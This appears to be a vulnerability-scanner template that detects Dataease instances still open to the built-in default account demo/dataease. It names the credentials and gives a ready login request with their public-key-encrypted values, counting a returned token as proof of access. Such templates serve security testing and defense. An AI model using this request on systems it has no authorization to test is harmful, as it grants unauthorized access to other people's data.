dataease-default-account: Dataease Default Account

id: dataease-default-account

info:
  name: Dataease Default Account
  author: hbdxmz
  severity: high
  verified: true
  description: |-
    Dataease has a built-in account demo/dataease, and many developers forget to delete or change the account password. 
    As a result, many Dataease can log in with this built-in account. 
    When logging in, js encrypts the account password with the public key, 
    so poc uses the account password encrypted by the public key,  
    manually uses demo/dataease when logging in to the web page.
    DataEase有一个内置的demo/dataease，许多开发人员忘记删除或更改帐户密码。
    因此，许多DataEase可以使用这个内置帐户登录。
    在登录时，js使用公钥加密帐号密码，PoC使用公钥加密的帐号密码，在登录网页时就手动使用demo/dataase登录。
  reference:
    - https://github.com/dataease/dataease/issues/5995
  tags: dataease
  created: 2023/11/30

rules:
  r0:
    request:
      method: POST
      headers:
        Content-Type: application/json
      path: /api/auth/login
      body: |
        {
        "username": "HmFJtDmMa9MZjlWEpCNAo7Yh/hRBI7mrCRfFTok7wES7qcpIJ04x0OQXW5fwtL4WtN29408wyAupmtMjvvXjag==",
        "password": "sL+oQsnErJMYGiLyzXj/Hy2opaZcSnfjGtYtm48q8tdkkINxzTtAOFI2NgDoorchFE790vWQYIgo1CMyjJ2jnw==",
        "loginType": 0
        }
      follow_redirects: true
    expression: response.status == 200  && response.body.bcontains(b'"success":true,"message":null,"data":{"token":"ey')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.